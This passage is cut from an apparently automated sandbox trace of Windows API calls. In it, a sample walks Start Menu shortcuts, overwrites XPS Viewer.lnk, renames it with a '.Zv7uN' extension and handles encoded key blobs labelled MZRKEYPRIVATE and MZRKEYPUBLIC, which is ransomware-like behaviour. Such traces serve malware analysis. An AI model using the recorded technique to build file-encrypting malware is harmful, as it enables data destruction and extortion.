dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x4de [0131.499] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0131.499] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x4de, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f6a0*=0x4de, lpOverlapped=0x0) returned 1 [0131.501] CloseHandle (hObject=0x1ec) returned 1 [0131.501] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0131.503] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x4de, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f6ac*=0x4de, lpOverlapped=0x0) returned 1 [0131.506] CloseHandle (hObject=0x1ec) returned 1 [0131.506] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\XPS Viewer.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\xps viewer.lnk.zv7un")) returned 1 [0131.507] GetCurrentThreadId () returned 0xa30 [0131.507] GetCurrentThreadId () returned 0xa30 [0131.507] GetCurrentThreadId () returned 0xa30 [0131.507] GetCurrentThreadId () returned 0xa30 [0131.507] GetCurrentThreadId () returned 0xa30 [0131.508] GetCurrentThreadId () returned 0xa30 [0131.508] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0131.508] GetLastError () returned 0x12 [0131.508] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0131.508] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6299d160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6299d160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0131.508] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0131.509] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.509] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6299d160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x6299d160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.509] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.509] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0131.509] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0131.509] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0131.509] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0131.510] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0131.510] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessibility", cAlternateFileName="ACCESS~1")) returned 1 [0131.510] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Calculator.lnk", cAlternateFileName="CALCUL~1.LNK")) returned 1 [0131.510] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0131.510] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0131.510] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3e9c58, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3e3e9c58, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3e435f19, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ce)) returned 1 [0131.510] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk")) returned 0x20 [0131.510] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk", dwFileAttributes=0x80) returned 1 [0131.512] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0131.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0131.514] GetCurrentThreadId () returned 0xa30 [0131.514] GetCurrentThreadId () returned 0xa30 [0131.514] GetCurrentThreadId () returned 0xa30 [0131.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0131.514] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0131.515] GetCurrentThreadId () returned 0xa30 [0131.515] GetCurrentThreadId () returned 0xa30 [0131.515] GetCurrentThreadId () returned 0xa30 [0131.515] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Calculator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\calculator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 